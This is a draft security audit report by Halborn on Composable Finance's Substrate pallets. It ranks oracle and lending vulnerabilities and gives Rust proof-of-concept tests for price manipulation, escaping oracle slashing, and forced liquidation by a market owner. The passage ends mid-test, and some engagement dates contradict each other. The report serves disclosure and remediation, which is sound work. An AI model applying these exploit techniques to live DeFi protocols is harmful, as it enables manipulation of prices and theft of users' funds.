// HALBORN

DRAFT

Composable.Finance

Substrate Pallets Security Audit

Prepared by: **Halborn**

Date of Engagement: **February 29th, 2021 - April 29th, 2022**

Visit: **Halborn.com**

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document Creation	03/21/2022	Alpcan Onaran
0.2	Document Edits	04/26/2022	Michal Bajor
0.3	Document Edits	04/27/2022	Alpcan Onaran
0.4	Document Edits	04/28/2022	Alpcan Onaran
0.5	Draft Review	04/29/2022	Timur Guvenkaya
0.6	Draft Final Review	04/29/2022	Gabi Urrutia

CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	Rob.Behnke@halborn.com
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com
Timur Guvenkaya	Halborn	Timur.Guvenkaya@halborn.com
Michal Bajor	Halborn	Michal.Bajor@halborn.com
Alpcan Onaran	Halborn	Alpcan.Onaran@halborn.com
Hossam Mohamed	Halborn	Hossam.mohamed@halborn.com

EXECUTIVE OVERVIEW

1.1 INTRODUCTION

Composable engaged Halborn to conduct a security assessment on their main Substrate pallets on February 29th, 2022 and ending April 29th, 2022. Composable is a cross-chain and cross-layer interoperability platform which aims to resolve the current problem of a lack of cohesion between different decentralized finance (DeFi) protocols.

1.2 AUDIT SUMMARY

The team at Halborn was provided 8 weeks for the engagement and assigned one full-time security engineer to audit the security of the assets in scope. The engineer is a blockchain and smart contract security expert with advanced penetration testing, smart-contract hacking, and in-depth knowledge of multiple blockchain protocols.

The purpose of this audit is to achieve the following:

- Identify potential security issues within the main Composable pallets.

In summary, Halborn identified few security risks that should be addressed by the Composable team.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy regarding the scope of the Bridge Substrate pallet. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into the architecture, purpose, and use of the platform.
- Smart contract manual code review and walkthrough to identify any logic issue.
- Mapping out possible attack vectors
- Thorough assessment of safety and usage of critical Rust variables and functions in scope that could led to arithmetic vulnerabilities.
- Finding unsafe Rust code usage (cargo-geiger)
- On chain testing of core functions(polkadot.js).
- Active Fuzz testing {cargo-fuzz, honggfuzz}
- Scanning dependencies for known vulnerabilities (cargo audit).

RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

RISK SCALE - LIKELIHOOD

5 - Almost certain an incident will occur.
4 - High probability of an incident occurring.
3 - Potential of a security incident in the long term.
2 - Low probability of an incident occurring.
1 - Very unlikely issue will cause an incident.

RISK SCALE - IMPACT

5 - May cause devastating and unrecoverable impact or loss.
4 - May cause a significant level of impact or loss.

3 - May cause a partial impact or loss to many.
2 - May cause temporary impact or loss.
1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

10 - CRITICAL
9 - 8 - HIGH
7 - 6 - MEDIUM
5 - 4 - LOW
3 - 1 - VERY LOW AND INFORMATIONAL

1.4 SCOPE

The review was scoped to the pallets directory using 854b59598fb4e44b2ed4540e93365fbc2074b99e commit-id in ComposableFi/composable repository.

- Pallets
  - Assets
  - Bonded Finance
  - Dutch Auction
  - Oracle
  - Vesting
  - Dex-router
  - Mosaic
  - Helper pallet functions

2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
3	2	1	10	1

LIKELIHOOD

IMPACT

				(HAL-01) (HAL-02) (HAL-03)
			(HAL-06)	(HAL-04) (HAL-05)
	(HAL-08) (HAL-09) (HAL-10) (HAL-11) (HAL-12) (HAL-13) (HAL-14) (HAL-15) (HAL-16)			
(HAL-17)		(HAL-07)		

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
HAL-01 IMPROPER PRICE CALCULATION LEADS TO MULTIPLE VULNERABILITIES	Critical	-
HAL-02 ORACLE SLASHING MECHANISM BYPASS	Critical	-
HAL-03 IMPROPER LENDING MARKET CONFIGURATION LEADS TO MULTIPLE VULNERABILITIES	Critical	-
HAL-04 OFFER CREATION WITH THE SAME ASSET	High	-
HAL-05 DUTCH AUCTION CREATION WITH THE SAME ASSET	High	-
HAL-06 COLLATERAL FACTOR CAN BE SET SMALLER THAN TWO	Medium	-
HAL-07 MISSING ACCESS CONTROL LEADS TO PRICE MANIPULATION	Medium	-
HAL-08 ASSET MAPPING WITH NON-EXISTING ASSET ID	Low	-
HAL-09 MISSING 'transactional' MACRO	Low	-
HAL-10 VESTING TRANSFER TO CALLER ACCOUNT	Low	-
HAL-11 DUPLICATE ROUTES ALLOWED	Low	-
HAL-12 UPDATE/CREATE ROUTES WITH NON-EXISTING TOKENS	Low	-
HAL-13 CREATE DUPLICATE POOL WITH SAME PAIR	Low	-
HAL-14 ZERO AMOUNT COLLATERAL DEPOSIT	Low	-
HAL-15 MISSING ZERO VALUE CHECK	Low	-
HAL-16 TRANSFER TO CALLER ACCOUNT	Low	-

HAL-17 POSSIBLE ERROR AFTER CRITICAL FUNCTION	Informational	-

FINDINGS & TECH DETAILS

3.1 (HAL-01) IMPROPER PRICE CALCULATION LEADS TO MULTIPLE VULNERABILITIES - CRITICAL

Description:

The Oracle pallet is responsible for calculating prices for an asset. It is observed that it inappropriately calculates price, which leads to multiple undesired scenarios. The price itself is calculated at the end of each block if new prices were submitted and there were enough. The resulting price is a median of a sorted vector containing all proposed prices. To prevent malicious Oracles from manipulating the asset's price, every proposal which would not be in the acceptable range results in a slash of Oracle balance. However, two scenarios are possible where this mechanism can be exploited.

Suppose exactly half of the proposed prices would be malicious, i.e., substantially increasing or decreasing an asset's price. In that case, all Oracles might get slashed, regardless if they submitted a plausible price or not.

On the other hand, if most of the proposed prices were malicious, then such a situation would result in legitimate Oracles getting slashed.

Additionally, executing such attacks is as easy as anyone with enough balance can become an Oracle.

Code Location:

Listing 1: frame/oracle/src/lib.rs (Line 785)

```
775 pub fn update_price(
776     asset_id: T::AssetId,
777     asset_info: AssetInfo<Percent, T::BlockNumber, BalanceOf<T>>,
778     block: T::BlockNumber,
779     pre_prices: Vec<PrePrice<T::PriceValue, T::BlockNumber, T::
 ↳ AccountId>>,
```

```
780 ) -> DispatchResult {
781     // There can convert pre_prices.len() to u32 safely
782     // because pre_prices.len() limited by u32
783     // (type of AssetsInfo::<T>::get(asset_id).max_answers).
784     if pre_prices.len() as u32 >= asset_info.min_answers {
785         if let Some(price) = Self::get_median_price(&pre_prices) {
786             Prices::<T>::insert(asset_id, Price { price, block });
787             PriceHistory::<T>::try_mutate(asset_id, |prices| ->
 ↳ DispatchResult {
788                 if prices.len() as u32 >= T::MaxHistory::get() {
789                     prices.remove(0);
790                 }
791                 if block != 0_u32.into() {
792                     prices
793                         .try_push(Price { price, block })
794                         .map_err(|_| Error::<T>::MaxHistory)?;
795                 }
796                 Ok(())
797             })?;
798             PrePrices::<T>::remove(asset_id);
799 
800             Self::handle_payout(&pre_prices, price, asset_id, &
 ↳ asset_info);
801         }
802     }
803     Ok(())
804 }
```

Listing 2: frame/oracle/src/lib.rs

```
844 pub fn get_median_price(
845     prices: &[PrePrice<T::PriceValue, T::BlockNumber, T::AccountId
 ↳ >],
846 ) -> Option<T::PriceValue> {
847     if prices.is_empty() {
848         return None
849     }
850 
851     let mut numbers: Vec<T::PriceValue> =
852         prices.iter().map(|current_prices| current_prices.price).
 ↳ collect();
853 
854     numbers.sort_unstable();
855 
```

```
856     let mid = numbers.len() / 2;
857     if numbers.len() % 2 == 0 {
858         #[allow(clippy::indexing_slicing)] // mid is less than the
 ↳  len (len/2)
859         Some(numbers[mid - 1].saturating_add(numbers[mid]) / 2_u32
 ↳ .into())
860     } else {
861         #[allow(clippy::indexing_slicing)] // mid is less than the
 ↳  len (len/2)
862         Some(numbers[mid])
863     }
864 }
```

Proof Of Concept:

Listing 3

```
 1 #[test]
 2 fn halborn_test_price_manipulation() {
 3     new_test_ext().execute_with(|| {
 4         const ASSET_ID: u128 = 0;
 5         const MIN_ANSWERS: u32 = 3;
 6         const MAX_ANSWERS: u32 = 5;
 7         const THRESHOLD: Percent = Percent::from_percent(80);
 8         const BLOCK_INTERVAL: u64 = 5;
 9         const REWARD: u64 = 5;
10         const SLASH: u64 = 5;
11
12         let account_1 = get_account_1();
13         let account_2 = get_account_2();
14         let account_4 = get_account_4();
15         let account_5 = get_account_5();
16
17         assert_ok!(Oracle::add_asset_and_info(
18             Origin::signed(account_2),
19             ASSET_ID,
20             Validated::new(THRESHOLD).unwrap(),
21             Validated::new(MIN_ANSWERS).unwrap(),
22             Validated::new(MAX_ANSWERS).unwrap(),
23             Validated::<BlockNumber, ValidBlockInterval<StalePrice
 ↳ >>::new(BLOCK_INTERVAL).unwrap(),
24             REWARD,
```

```
25              SLASH
26          ));
27
28          System::set_block_number(6);
29
30          assert_ok!(Oracle::set_signer(Origin::signed(account_2),
↳ account_1));
31          assert_ok!(Oracle::set_signer(Origin::signed(account_1),
↳ account_2));
32          assert_ok!(Oracle::set_signer(Origin::signed(account_5),
↳ account_4));
33          assert_ok!(Oracle::set_signer(Origin::signed(account_4),
↳ account_5));
34
35          assert_ok!(Oracle::add_stake(Origin::signed(account_1),
↳ 50));
36          assert_ok!(Oracle::add_stake(Origin::signed(account_2),
↳ 50));
37          assert_ok!(Oracle::add_stake(Origin::signed(account_4),
↳ 50));
38          assert_ok!(Oracle::add_stake(Origin::signed(account_5),
↳ 50));
39
40          let balance1 = Balances::free_balance(account_1);
41          let balance2 = Balances::free_balance(account_2);
42          let balance4 = Balances::free_balance(account_4);
43          let balance5 = Balances::free_balance(account_5);
44          println!("BALANCES before price submissions");
45          println!("1: {}", balance1);
46          println!("2: {}", balance2);
47          println!("4: {}", balance4);
48          println!("5: {}", balance5);
49
50          // Scenario 1: 50% of Oracles are malicious
51          assert_ok!(Oracle::submit_price(Origin::signed(account_1),
↳  100_u128, 0_u128));
52          assert_ok!(Oracle::submit_price(Origin::signed(account_2),
↳  100_u128, 0_u128));
53          assert_ok!(Oracle::submit_price(Origin::signed(account_4),
↳  900_u128, 0_u128));
54          assert_ok!(Oracle::submit_price(Origin::signed(account_5),
↳  900_u128, 0_u128));
55
56          System::set_block_number(7);
```

```
57          Oracle::on_initialize(7);
58          let res = Oracle::get_price(0, 1).unwrap();
59          println!("PRICE: {} | BLOCK: {}", res.price, res.block);
60          let balance1 = Balances::free_balance(account_1);
61          let balance2 = Balances::free_balance(account_2);
62          let balance4 = Balances::free_balance(account_4);
63          let balance5 = Balances::free_balance(account_5);
64          println!("BALANCES after price submition with 50% of
↳ malicious oracles (all Oracles are slashed):");
65          println!("1 (legitimate): {}", balance1);
66          println!("2 (legitimate): {}", balance2);
67          println!("4 (malicious)): {}", balance4);
68          println!("5 (malicious): {}", balance5);
69
70          // Scenario 2: >50% of Oracles are malicious
71          System::set_block_number(13);
72
73          assert_ok!(Oracle::submit_price(Origin::signed(account_1),
↳  100_u128, 0_u128));
74          assert_ok!(Oracle::submit_price(Origin::signed(account_4),
↳  900_u128, 0_u128));
75          assert_ok!(Oracle::submit_price(Origin::signed(account_5),
↳  900_u128, 0_u128));
76
77          System::set_block_number(14);
78          Oracle::on_initialize(14);
79
80          let res = Oracle::get_price(0, 1).unwrap();
81          println!("PRICE: {} | BLOCK: {}", res.price, res.block);
82          let balance1 = Balances::free_balance(account_1);
83          let balance4 = Balances::free_balance(account_4);
84          let balance5 = Balances::free_balance(account_5);
85          println!("BALANCES after price submission with >50% of
↳ malicious oracles (legitimate oracles are slashed and malicious
↳ oracles are rewarded):");
86          println!("1 (legitimate): {}", balance1);
87          println!("4 (malicious): {}", balance4);
88          println!("5 (malicious): {}", balance5);
89      });
90  }
```

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

It is recommended to calculate the new price as an average instead of a median, without considering the ones that are getting slashed. To determine which Oracles should get slashed, all prices should be considered. Then, if at least a specific number of the prices do not differ by more than a specified threshold, a price submission should be regarded as valid. Oracles that proposed a price within the threshold should be rewarded, and other Oracles should get slashed. This solution would not eliminate the second scenario. However, it would be more challenging to execute with a sufficient threshold defined.

3.2 (HAL-02) ORACLE SLASHING MECHANISM BYPASS - CRITICAL

Description:

The Oracle pallet is responsible for calculating prices for an asset implements a slashing mechanism that is designed to disincentivize malicious users from trying to manipulate the price. If the proposed price is not in the valid range from the newly chosen price (defined per asset), Oracle, who submitted that price, would lose a portion of its tokens.

However, the tokens are not subtracted from the staked balance but the free balance. If there is no free balance in the user's account, slash would not be completed.

For example, a malicious Oracle might stake all of its tokens. Then Oracle might send an invalid price proposal, manipulating the market. In such a scenario, an Oracle pallet would not be able to punish the malicious Oracle, who then may unstake the tokens and receive the initially staked tokens without penalties.

Code Location:

Listing 4: frame/oracle/src/lib.rs (Lines 689-700)

```
675 pub fn handle_payout(
676     pre_prices: &[PrePrice<T::PriceValue, T::BlockNumber, T::
 ↳ AccountId>],
677     price: T::PriceValue,
678     asset_id: T::AssetId,
679     asset_info: &AssetInfo<Percent, T::BlockNumber, BalanceOf<T>>,
680 ) {
681     for answer in pre_prices {
682         let accuracy: Percent = if answer.price < price {
683             PerThing::from_rational(answer.price, price)
684         } else {
685             let adjusted_number = price.saturating_sub(answer.
 ↳ price - price);
```

```
686                 PerThing::from_rational(adjusted_number, price)
687             };
688             let min_accuracy = asset_info.threshold;
689             if accuracy < min_accuracy {
690                 let slash_amount = asset_info.slash;
691                 let try_slash = T::Currency::can_slash(&answer.who,
 ↳ slash_amount);
692                 if !try_slash {
693                     log::warn!("Failed to slash {:?}", answer.who);
694                 }
695                 T::Currency::slash(&answer.who, slash_amount);
696                 Self::deposit_event(Event::UserSlashed(
697                     answer.who.clone(),
698                     asset_id,
699                     slash_amount,
700                 ));
701             } else {
702                 let reward_amount = asset_info.reward;
703                 let controller = SignerToController::<T>::get(&answer.
 ↳ who)
704                     .unwrap_or_else(|| answer.who.clone());
705
706                 let result = T::Currency::deposit_into_existing(&
 ↳ controller, reward_amount);
707                 if result.is_err() {
708                     log::warn!("Failed to deposit {:?}", controller);
709                 }
710                 Self::deposit_event(Event::UserRewarded(
711                     answer.who.clone(),
712                     asset_id,
713                     reward_amount,
714                 ));
715             };
716             Self::remove_price_in_transit(&answer.who, asset_info)
717         }
718 }
```

Proof Of Concept:

Listing 5

```
#[test]
fn halborn_test_escape_slashing() {
    new_test_ext().execute_with(|| {
        const ASSET_ID: u128 = 0;
        const MIN_ANSWERS: u32 = 3;
        const MAX_ANSWERS: u32 = 5;
        const THRESHOLD: Percent = Percent::from_percent(80);
        const BLOCK_INTERVAL: u64 = 5;
        const REWARD: u64 = 5;
        const SLASH: u64 = 5;

        let account_1 = get_account_1();
        let account_2 = get_account_2();
        let account_4 = get_account_4();
        let account_5 = get_account_5();

        assert_ok!(Oracle::add_asset_and_info(
            Origin::signed(account_2),
            ASSET_ID,
            Validated::new(THRESHOLD).unwrap(),
            Validated::new(MIN_ANSWERS).unwrap(),
            Validated::new(MAX_ANSWERS).unwrap(),
            Validated::<BlockNumber, ValidBlockInterval<StalePrice
↳ >>::new(BLOCK_INTERVAL).unwrap(),
            REWARD,
            SLASH
        ));

        let balance1 = Balances::free_balance(account_1);
        let balance2 = Balances::free_balance(account_2);
        let balance4 = Balances::free_balance(account_4);
        let balance5 = Balances::free_balance(account_5);
        println!("BALANCES before staking");
        println!("1: {}", balance1);
        println!("2: {}", balance2);
        println!("4: {}", balance4);
        println!("5: {}", balance5);

        System::set_block_number(6);
        assert_ok!(Oracle::set_signer(Origin::signed(account_2),
↳ account_1));
```

```
40          assert_ok!(Oracle::set_signer(Origin::signed(account_1),
↳ account_2));
41          assert_ok!(Oracle::set_signer(Origin::signed(account_5),
↳ account_4));
42          assert_ok!(Oracle::set_signer(Origin::signed(account_4),
↳ account_5));
43
44          assert_ok!(Oracle::add_stake(Origin::signed(account_1),
↳ 50));
45          assert_ok!(Oracle::add_stake(Origin::signed(account_2),
↳ 50));
46          assert_ok!(Oracle::add_stake(Origin::signed(account_4),
↳ 99));
47          assert_ok!(Oracle::add_stake(Origin::signed(account_5),
↳ 50));
48
49          let balance1 = Balances::free_balance(account_1);
50          let balance2 = Balances::free_balance(account_2);
51          let balance4 = Balances::free_balance(account_4);
52          let balance5 = Balances::free_balance(account_5);
53          println!("BALANCES before price submissions");
54          println!("1: {}", balance1);
55          println!("2: {}", balance2);
56          println!("4: {}", balance4);
57          println!("5: {}", balance5);
58
59          assert_ok!(Oracle::submit_price(Origin::signed(account_1),
↳  100_u128, 0_u128));
60          assert_ok!(Oracle::submit_price(Origin::signed(account_2),
↳  100_u128, 0_u128));
61          // Proposing price of 4000 would result in getting slashed
62          assert_ok!(Oracle::submit_price(Origin::signed(account_4),
↳  4000_u128, 0_u128));
63
64          System::set_block_number(7);
65          Oracle::on_initialize(7);
66          let res = Oracle::get_price(0, 1).unwrap();
67          println!("AFTER 1st SUBMIT PRICE - PRICE: {} | BLOCK: {}",
↳  res.price, res.block);
68          let balance1 = Balances::free_balance(account_1);
69          let balance2 = Balances::free_balance(account_2);
70          let balance4 = Balances::free_balance(account_4);
71          let balance5 = Balances::free_balance(account_5);
72          println!("BALANCES after price submissions");
```

```
73          println!("1: {}", balance1);
74          println!("2: {}", balance2);
75          println!("4: {}", balance4);
76          println!("5: {}", balance5);
77
78          assert_ok!(Oracle::remove_stake(Origin::signed(account_4))
↳ );
79
80          System::set_block_number(40);
81          assert_ok!(Oracle::reclaim_stake(Origin::signed(account_4)
↳ ));
82
83          let balance2 = Balances::free_balance(account_2);
84          let balance4 = Balances::free_balance(account_4);
85          let balance5 = Balances::free_balance(account_5);
86          println!("BALANCES after account_4 removed stake:");
87          println!("1: {}", balance1);
88          println!("2: {}", balance2);
89          println!("4: {}", balance4);
90          println!("5: {}", balance5);
91      });
92  }
```

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

It is recommended to implement the slashing mechanism to subtract penalties from the staked tokens. Furthermore, the submit_price function should check that the amount of staked tokens is greater or equal to the potential slash amount for a given asset.

3.3 (HAL-03) IMPROPER LENDING MARKET CONFIGURATION - CRITICAL

Description:

Inside the lending pallet, using the update_market function, market owners can edit the collateral_factor. The should_liquidate function calculates liquidation according to the last factor determined by the market owner, not the collateral factor of the time the borrowing takes place.

Using this market, owner can create a market with a collateral factor of two (minimum allowed); after borrowers borrow assets, the owner can edit the collateral_factor anything bigger than two and instantly make liquidation available.

When liquidation becomes available, borrowers are no longer be able to withdraw their deposit collateral even if liquidation was not triggered.

This market configuration may also result in different types of vulnerabilities.

Code Location:

Listing 6: frame/lending/src/models.rs (Line 579)

```
569         pub fn update_market(
570             origin: OriginFor<T>,
571             market_id: MarketIndex,
572             input: UpdateInput<T::LiquidationStrategyId>,
573         ) -> DispatchResultWithPostInfo {
574             let who = ensure_signed(origin)?;
575             Markets::<T>::mutate(&market_id, |market| {
576                 if let Some(market) = market {
577                     ensure!(who == market.manager, Error::<T>::
 ↳ Unauthorized);
578
579                     market.collateral_factor = input.
 ↳ collateral_factor;
580                     market.interest_rate_model = input.
```

```
 ↳ interest_rate_model;
581                     market.under_collaterized_warn_percent = input
 ↳ .under_collaterized_warn_percent;
582                     market.liquidators = input.liquidators.clone()
 ↳ ;
583                     Ok(())
584                 } else {
585                     Err(Error::<T>::MarketDoesNotExist)
586                 }
587             })?;
588             Self::deposit_event(Event::<T>::MarketUpdated {
 ↳ market_id, input });
589             Ok(().into())
590         }
```

Listing 7: frame/lending/src/models.rs (Line 50)

```
44      /// Determines whether the loan should trigger a liquidation.
45      #[inline(always)]
46      pub fn should_liquidate(&self) -> Result<bool, ArithmeticError
 ↳ > {
47          if self.borrow_balance_value == 0.into() {
48              Ok(false)
49          } else {
50              Ok(self.current_collateral_ratio()? < self.
 ↳ collateral_factor)
51          }
52      }
```

Listing 8: frame/lending/src/lib.rs (Line 831)

```
825         pub fn liquidate_internal(
826             liquidator: &<Self as DeFiEngine>::AccountId,
827             market_id: &<Self as Lending>::MarketId,
828             borrowers: Vec<<Self as DeFiEngine>::AccountId>,
829         ) -> Result<(), DispatchError> {
830             for account in borrowers.iter() {
831                 if Self::should_liquidate(market_id, account)? {
832                     let market = Self::get_market(market_id)?;
833                     let borrow_asset = T::Vault::asset_id(&market.
 ↳ borrow)?;
834                     let collateral_to_liquidate = Self::
 ↳ collateral_of_account(market_id, account)?;
```

```
835                     let source_target_account = Self::account_id(
 ↳ market_id);
836                     let unit_price =
837                         T::Oracle::get_ratio(CurrencyPair::new(
 ↳ market.collateral, borrow_asset))?;
838                     let sell = Sell::new(
839                         market.collateral,
840                         borrow_asset,
841                         collateral_to_liquidate,
842                         unit_price,
843                     );
844                     T::Liquidation::liquidate(&
 ↳ source_target_account, sell, market.liquidators)?;
845
846                     if let Some(deposit) = BorrowRent::<T>::get(
 ↳ market_id, account) {
847                         let market_account = Self::account_id(
 ↳ market_id);
848                         <T as Config>::NativeCurrency::transfer(
849                             &market_account,
850                             liquidator,
851                             deposit,
852                             false,
853                         )?;
854                     }
855                 }
856             }
857             Ok(())
858         }
```

Listing 9: frame/lending/src/lib.rs (Lines 1580-1583)

```
552         fn withdraw_collateral(
553             market_id: &Self::MarketId,
554             account: &Self::AccountId,
555             amount: CollateralLpAmountOf<Self>,
556         ) -> Result<(), DispatchError> {
557             let market = Self::get_market(market_id)?;
558
559             let collateral_balance = AccountCollateral::<T>::
 ↳ try_get(market_id, account)
560                 .unwrap_or_else(|_| CollateralLpAmountOf::<Self>::
 ↳ zero());
561
```

```
562             ensure!(amount <= collateral_balance, Error::<T>::
 ↳ NotEnoughCollateral);
563
564             let borrow_asset = T::Vault::asset_id(&market.borrow)
 ↳ ?;
565             let borrower_balance_with_interest = Self::
 ↳ borrow_balance_current(market_id, account)?
566                 .unwrap_or_else(BorrowAmountOf::<Self>::zero);
567             let borrow_balance_value =
568                 Self::get_price(borrow_asset,
 ↳ borrower_balance_with_interest)?;
569
570             let collateral_balance_after_withdrawal_value =
571                 Self::get_price(market.collateral,
 ↳ collateral_balance.safe_sub(&amount)?)?;
572
573             let borrower_after_withdrawal = BorrowerData::new(
574                 collateral_balance_after_withdrawal_value,
575                 borrow_balance_value,
576                 market.collateral_factor,
577                 market.under_collaterized_warn_percent,
578             );
579
580             ensure!(
581                 !borrower_after_withdrawal.should_liquidate()?,
582                 Error::<T>::NotEnoughCollateral
583             );
584             ...
```

Proof Of Concept:

Listing 10

```
1 #[test]
2 fn market_owner_profits_by_liquidate() {
3     new_test_ext().execute_with(|| {
4         System::set_block_number(1);
5         let (market_id, _vault_id) = create_simple_market();
6
7         let borrow_asset = BTC::ID;
8         let collateral_asset = USDT::ID;
9
```

```
10          let expected = 50_000 * USDT::one();
11          set_price(BTC::ID, expected);
12          set_price(USDT::ID, USDT::one());
13          let market_account = Lending::account_id(&market_id);
14
15          //deposit USDT to BOB and CHARLIE account
16          let deposit_usdt = 2_000_00;
17          assert_ok!(Tokens::mint_into(USDT::ID, &BOB, deposit_usdt)
↳ );
18          assert_ok!(Tokens::mint_into(USDT::ID, &CHARLIE,
↳ deposit_usdt));
19
20          //print initial market BOB account USDT balance
21          let market_total_cash = Lending::total_cash(&market_id).
↳ unwrap();
22
23          let bob_usdt_balance = Tokens::balance(USDT::ID, &BOB);
24          let bob_btc_balance = Tokens::balance(BTC::ID, &BOB);
25          let bob_collateral_amount = Lending::collateral_of_account
↳ (&market_id, &BOB);
26
27          let charlie_usdt_balance = Tokens::balance(USDT::ID, &
↳ CHARLIE);
28          let charlie_btc_balance = Tokens::balance(BTC::ID, &
↳ CHARLIE);
29          let charlie_collateral_amount = Lending::
↳ collateral_of_account(&market_id, &CHARLIE);
30
31          let ratio = <Oracle as composable_traits::oracle::Oracle
↳ >::get_ratio(CurrencyPair::new(collateral_asset, borrow_asset));
32          println!("INITIAL market total cash: {:?}",
↳ market_total_cash);
33
34          println!("INITIAL BOB USDT Balance: {:?}",
↳ bob_usdt_balance);
35          println!("INITIAL BOB BTC Balance: {:?}", bob_btc_balance)
↳ ;
36          println!("INITIAL BOB deposited collateral amount: {:?}",
↳ bob_collateral_amount);
37
38          println!("INITIAL CHARLIE USDT Balance: {:?}",
↳ charlie_usdt_balance);
39          println!("INITIAL CHARLIE BTC Balance: {:?}",
↳ charlie_btc_balance);
```

```
40          println!("INITIAL CHARLIE deposited collateral amount:
↳ {:?}", charlie_collateral_amount);
41
42          println!("INITIAL collateral-borrow asset ratio {:?}",
↳ ratio);
43
44          println!("***");
45
46
47          //Deposit 200000 USDT amount collateral from BOB
48          let collateral_deposit_amount = 200000;
49          assert_ok!(Lending::deposit_collateral_internal(&market_id
↳ , &BOB, collateral_deposit_amount));
50          assert_ok!(Lending::deposit_collateral_internal(&market_id
↳ , &CHARLIE, collateral_deposit_amount));
51
52          println!("BOB and CHARLIE each deposited {:?} collateral
↳ USDT", collateral_deposit_amount);
53          println!("***");
54
55          let bob_usdt_balance = Tokens::balance(USDT::ID, &BOB);
56          let bob_collateral_amount = Lending::collateral_of_account
↳ (&market_id, &BOB);
57          let bob_borrow_limit = Lending::get_borrow_limit(&
↳ market_id, &BOB);
58
59          let charlie_usdt_balance = Tokens::balance(USDT::ID, &
↳ CHARLIE);
60          let charlie_collateral_amount = Lending::
↳ collateral_of_account(&market_id, &CHARLIE);
61          let charlie_borrow_limit = Lending::get_borrow_limit(&
↳ market_id, &CHARLIE);
62
63          let ratio = <Oracle as composable_traits::oracle::Oracle
↳ >::get_ratio(CurrencyPair::new(collateral_asset, borrow_asset));
64          let should_liqudate = Lending::should_liquidate(&market_id
↳ , &BOB);
65
66          println!("AFTER COLLATERAL DEPOSIT BOB USDT Balance: {:?}"
↳ , bob_usdt_balance);
67          println!("AFTER COLLATERAL DEPOSIT BOB's collateral amount
↳  in market: {:?}", bob_collateral_amount);
68          println!("AFTER COLLATERAL DEPOSIT BOB's borrow limit:
↳ {:?}", bob_borrow_limit);
```

```
69
70          println!("AFTER COLLATERAL DEPOSIT CHARLIE USDT Balance:
↳ {:?}", charlie_usdt_balance);
71          println!("AFTER COLLATERAL DEPOSIT CHARLIE's collateral
↳ amount in market: {:?}", charlie_collateral_amount);
72          println!("AFTER COLLATERAL DEPOSIT CHARLIE's borrow limit:
↳  {:?}", charlie_borrow_limit);
73
74          println!("AFTER COLLATERAL DEPOSIT should_liqudate: {:?}",
↳  should_liqudate);
75          println!("AFTER COLLATERAL DEPOSIT collateral-borrow asset
↳  ratio {:?}", ratio);
76          println!("***");
77
78          //BOB borrows max amount
79          assert_ok!(Lending::borrow_internal(&market_id, &BOB, 2));
80          assert_ok!(Lending::borrow_internal(&market_id, &CHARLIE,
↳ 2));
81
82          let market_total_cash = Lending::total_cash(&market_id).
↳ unwrap();
83
84          let bob_usdt_balance = Tokens::balance(USDT::ID, &BOB);
85          let bob_btc_balance = Tokens::balance(BTC::ID, &BOB);
86          let bob_repay_amount = Lending::borrow_balance_current(&
↳ market_id, &BOB).unwrap();
87          let bob_collateral_amount = Lending::collateral_of_account
↳ (&market_id, &BOB);
88
89          let charlie_usdt_balance = Tokens::balance(USDT::ID, &
↳ CHARLIE);
90          let charlie_btc_balance = Tokens::balance(BTC::ID, &
↳ CHARLIE);
91          let charlie_repay_amount = Lending::borrow_balance_current
↳ (&market_id, &CHARLIE).unwrap();
92          let charlie_collateral_amount = Lending::
↳ collateral_of_account(&market_id, &CHARLIE);
93
94          let total_borrows = Lending::total_borrows(&market_id).
↳ unwrap();
95
96          let ratio = <Oracle as composable_traits::oracle::Oracle
↳ >::get_ratio(CurrencyPair::new(collateral_asset, borrow_asset));
97
```

```
98          println!("AFTER BORROW Market total cash: {:?}",
 ↳ market_total_cash);
99          println!("AFTER BORROW Markets total borrows: {:?}",
 ↳ total_borrows);
100
101         println!("AFTER BORROW BOB USDT Balance: {:?}",
 ↳ bob_usdt_balance);
102         println!("AFTER BORROW BOB BTC Balance: {:?}",
 ↳ bob_btc_balance);
103         println!("AFTER BORROW BOB borrow balance current: {:?}",
 ↳ bob_repay_amount);
104         println!("AFTER BORROW BOB collateral amount: {:?}",
 ↳ bob_collateral_amount);
105
106         println!("AFTER BORROW CHARLIE USDT Balance: {:?}",
 ↳ charlie_usdt_balance);
107         println!("AFTER BORROW CHARLIE BTC Balance: {:?}",
 ↳ charlie_btc_balance);
108         println!("AFTER BORROW CHARLIE borrow balance current:
 ↳ {:?}", charlie_repay_amount);
109         println!("AFTER BORROW CHARLIE collateral amount: {:?}",
 ↳ charlie_collateral_amount);
110
111         println!("AFTER BORROW collateral-borrow asset ratio {:?}"
 ↳ , ratio);
112         println!("***");
113
114
115         //Update collateral factor bigger than 2
116         let collateral_factor = MoreThanOneFixedU128::
 ↳ saturating_from_rational(200, 99);
117         let manager = *ALICE;
118         let updatable = UpdateInput {
119             collateral_factor,
120             under_collaterized_warn_percent: Percent::from_float
 ↳ (1.1),
121             liquidators: vec![],
122             interest_rate_model: InterestRateModel::default(),
123         };
124         let updated = Lending::update_market(
125             Origin::signed(manager),
126             market_id,
127             updatable,
128         );
```

```
129         assert_ok!(updated);
130
131         println!("Markets collateral factor is update from 2 to :
 ↳ {:?}", collateral_factor);
132
133
134         let should_liqudate = Lending::should_liquidate(&market_id
 ↳ , &BOB);
